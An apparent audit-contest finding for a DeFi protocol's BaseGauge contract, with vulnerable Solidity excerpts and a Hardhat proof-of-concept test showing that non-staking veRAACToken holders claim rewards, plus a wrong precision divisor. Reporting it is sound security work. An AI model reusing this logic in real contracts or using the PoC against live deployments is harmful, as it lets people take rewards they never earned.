Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Users do not need to stake in the `BaseGauge` contract to receive rewards

Summary

Multiple issues exist in the BaseGauge::_applyBoost() function, leading to incorrect reward distribution.

Vulnerability Details

The function BaseGauge::getUserWeight() is responsible for determining the user's weight:

function getUserWeight(address account) public view virtual returns (uint256) {
uint256 baseWeight = _getBaseWeight(account);
return _applyBoost(account, baseWeight);
}

However,_getBaseWeight() retrieves the base weight of the contract itself rather than the individual user:

function _getBaseWeight(address account) internal view virtual returns (uint256) {
@> return IGaugeController(controller).getGaugeWeight(address(this));
}

The _applyBoost() function contains multiple flaws:

  1. The function considers a user's veRAACToken balance for reward calculation, meaning any user holding veRAACToken can receive rewards without actually staking in the contract.

  2. The final return value is derived from the contract's baseWeight, rather than an individual user's weight.

  3. The BoostCalculator.calculateBoost() function returns values based on 10000, but the function incorrectly uses 1e18 for calculations, leading to miscalculations.

function _applyBoost(address account, uint256 baseWeight) internal view virtual returns (uint256) {
if (baseWeight == 0) return 0;
IERC20 veToken = IERC20(IGaugeController(controller).veRAACToken());
@> uint256 veBalance = veToken.balanceOf(account);
@> uint256 totalVeSupply = veToken.totalSupply();
// Create BoostParameters struct from boostState
BoostCalculator.BoostParameters memory params = BoostCalculator.BoostParameters({
maxBoost: boostState.maxBoost,
minBoost: boostState.minBoost,
boostWindow: boostState.boostWindow,
totalWeight: boostState.totalWeight,
totalVotingPower: boostState.totalVotingPower,
votingPower: boostState.votingPower
});
uint256 boost = BoostCalculator.calculateBoost(
veBalance,
totalVeSupply,
params
);
@> return (baseWeight * boost) / 1e18;
}

Poc

Add the following test to test/unit/core/governance/gauges/RAACGauge.test.js and execute it:

describe("has veRAACToken", () => {
it("Poc", async () => {
// Initialize user3
const user3 = ethers.Wallet.createRandom().connect(ethers.provider);
await owner.sendTransaction({
to: user3.address,
value: ethers.parseEther("1")
});
// Mint tokens for user3, equal to user1's amount
await veRAACToken.mint(user3.address, ethers.parseEther("1000"));
expect(await veRAACToken.balanceOf(user1.address)).to.be.eq(await veRAACToken.balanceOf(user3.address));
// Mint tokens for user2, equal to user1's amount
await veRAACToken.mint(user2.address, ethers.parseEther("500"));
expect(await veRAACToken.balanceOf(user1.address)).to.be.eq(await veRAACToken.balanceOf(user2.address));
// user1 stakes, but user2 and user3 do not
await veRAACToken.connect(user1).approve(raacGauge.getAddress(), ethers.MaxUint256);
await raacGauge.connect(user1).stake(ethers.parseEther("1"));
// Ensure user1 owns the entire stake
expect(await raacGauge.balanceOf(user1.address)).to.be.eq(await raacGauge.totalSupply());
// Allocate total rewards of 1000e18
await raacGauge.notifyRewardAmount(ethers.parseEther("1000"));
await time.increase(WEEK);
await network.provider.send("evm_mine");
// Check initial rewardToken balance
const user2BalanceStart = await rewardToken.balanceOf(user2.address);
const user3BalanceStart = await rewardToken.balanceOf(user3.address);
// user2 and user3 claim rewards without staking
await raacGauge.connect(user2).getReward();
await raacGauge.connect(user3).getReward();
// user2 and user3, despite not staking, receive rewards ❌
const user2BalanceEnd = await rewardToken.balanceOf(user2.address);
const user3BalanceEnd = await rewardToken.balanceOf(user3.address);
console.log("user2 Actual amount of reward received:",user2BalanceEnd - user2BalanceStart);
console.log("user3 Actual amount of reward received:",user3BalanceEnd - user3BalanceStart);
});
});

output:

RAACGauge
has veRAACToken
user2 Actual amount of reward received: 14999024799n
user3 Actual amount of reward received: 14999049599n

Impact

  1. Users holding veRAACToken can receive rewards without staking in the contract.

  2. The final reward weight is derived from the contract’s baseWeight, not the individual user's weight, leading to incorrect reward allocations.
    3.The function incorrectly applies 1e18 instead of 10000, miscalculating boost values and distorting rewards.

Tools Used

Manual Review

Recommendations

Refactor the _applyBoost() function

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge._getBaseWeight ignores account parameter and returns gauge's total weight, allowing users to claim rewards from gauges they never voted for or staked in

BaseGauge reward calculations divide by 1e18 despite using 1e4 precision weights, causing all user weights to round down to zero and preventing reward distribution

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BaseGauge._getBaseWeight ignores account parameter and returns gauge's total weight, allowing users to claim rewards from gauges they never voted for or staked in

BaseGauge reward calculations divide by 1e18 despite using 1e4 precision weights, causing all user weights to round down to zero and preventing reward distribution

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!